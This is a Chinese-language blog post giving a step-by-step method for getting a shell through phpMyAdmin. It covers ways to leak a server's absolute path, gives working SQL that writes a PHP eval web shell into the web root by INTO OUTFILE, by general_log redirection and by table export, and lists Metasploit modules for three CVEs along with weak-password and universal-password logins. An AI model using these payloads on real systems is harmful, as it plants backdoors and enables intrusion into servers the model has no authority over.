phpmyadmin Getshell 思路

前几天遇到一个phpmyadmin,可惜在网上也没找到绝对路径,也就没办法上传木马getshell,这里梳理一下phpmyadmin getshell思路。

这里getshell必须要知道网站的绝对路径,这也是信息收集的重要部分

前提:php爆绝对路径

单引号爆路径 

直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

www.xxx.com/news.php?id=1′

错误参数值爆路径

将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1

google爆路径

结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。

Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

测试文件爆路径

很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。

www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

phpmyadmin爆路径

 

/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

配置文件找路径

如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

 

Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

nginx 文件类型错误解析爆路径

说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
www.xxx.com/xx.jpg/x.php

信息收集

通过SQL查询信息

select version(); -- 查看数据库版本

select @@datadir;    select @@basedir; -- 查看数据库存储路径

show VARIABLES like '%char%'; -- 查看系统变量

 

 

 

Getshell 

前提条件:

网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell

读写权限。查询secure_file_priv参数(select @@secure_file_priv ),查看是否具有读写权限,若为NULL则无法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效。

-- secure_file_priv=NULL,禁止导入导出

-- secure_file_priv='',不限制导入导出

-- secure_file_priv=/path/,只能向指定目录导入导出

select load_file('c:/phpinfo.php'); -- 读取文件

select '123' into outfile 'c:/shell.php'; -- 写入文件

常规GetShell

直接通过SQL查询写入shell

设绝对路径为C:\phpStudy\WWW

select '<?php eval($_POST["pwd"]);?>' into outfile 'C:/phpStudy/WWW/shell.php';

通过日志文件写shell

MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

检测全局变量(general_log, general_log file)

1.general log 指的是日志保存状态,一共有两个值(ON/OFF)

2.general log file 指的是日志的保存路径。

开启与关闭:

set global general_log = "ON"; -- 打开日志保存

set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接。

上传shell:

 select '<?php eval($_POST[pwd]); ?>';

创建新表getshell

进入一个数据库,新建数据表。

名字随意,这里为shell_table

字段数填1

 

添加字段

字段名任意,这里为xiaoma

字段类型为TEXT

插入一句话木马:

<?php eval($_POST[pwd]); ?>

 

SQL查询验证木马是否上传成功

设绝对路径为: G:\phpStudy\WWW

 select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

 

以上步骤也可通过SQL语句执行

Create TABLE shell_table (xiaoma text NOT NULL) -- 建表

Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入

select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出

Drop TABLE IF EXISTS shell_table; -- 删表

CVE

CVE-2013-3238

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

利用模块:exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

影响版本:phpMyAdmin v3.5.2.2

利用模块:exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行

影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

利用模块:exploit/unix/webapp/phpmyadmin_config

弱口令&万能密码

弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码

万能密码:版本2.11.3 / 2.11.4,用户名:‘localhost’@’@”  密码任意

 

 

参考文章:https://www.freebuf.com/articles/web/226240.html.

https://xz.aliyun.com/t/3283#toc-4

posted @ 2020-12-14 16:22  !rbash  阅读(628)  评论(0编辑  收藏  举报